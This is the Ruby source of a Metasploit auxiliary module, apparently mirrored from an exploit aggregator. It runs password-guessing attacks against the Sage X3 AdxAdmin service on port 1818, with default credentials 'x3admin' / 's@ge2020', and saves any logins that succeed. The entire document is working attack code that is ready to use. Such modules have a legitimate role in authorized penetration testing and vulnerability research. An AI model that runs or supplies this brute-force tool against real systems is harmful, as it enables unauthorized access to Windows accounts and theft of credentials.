## https://sploitus.com/exploit?id=PACKETSTORM:180999
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/x3'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::Tcp
def initialize(_info = {})
super(
'Name' => 'Sage X3 AdxAdmin Login Scanner',
'Description' => %q{
This module allows an attacker to perform a password guessing attack against
the Sage X3 AdxAdmin service, which in turn can be used to authenticate to
a local Windows account.
This module implements the X3Crypt function to 'encrypt' any passwords to
be used during the authentication process, given a plaintext password.
},
'Author' => ['Jonathan Peterson <deadjakk[at]shell.rip>'], # @deadjakk
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
]
)
register_options(
[
Opt::RPORT(1818),
OptString.new('USERNAME', [false, 'User with which to authenticate to the AdxAdmin service', 'x3admin']),
OptString.new('PASSWORD', [false, 'Plaintext password with which to authenticate', 's@ge2020'])
]
)
deregister_options('BLANK_PASSWORDS')
end
def run_host(ip)
cred_collection = build_credential_collection(
blank_passwords: false,
password: datastore['PASSWORD'],
username: datastore['USERNAME']
)
scanner = Metasploit::Framework::LoginScanner::X3.new(
configure_login_scanner(
host: ip,
port: rport,
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
framework: framework,
framework_module: self,
local_port: datastore['CPORT'],
local_host: datastore['CHOST']
)
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
next
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(level: :verror, ip: ip, msg: "Could not connect: #{result.proof}")
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
end
invalidate_login(credential_data)
end
end
end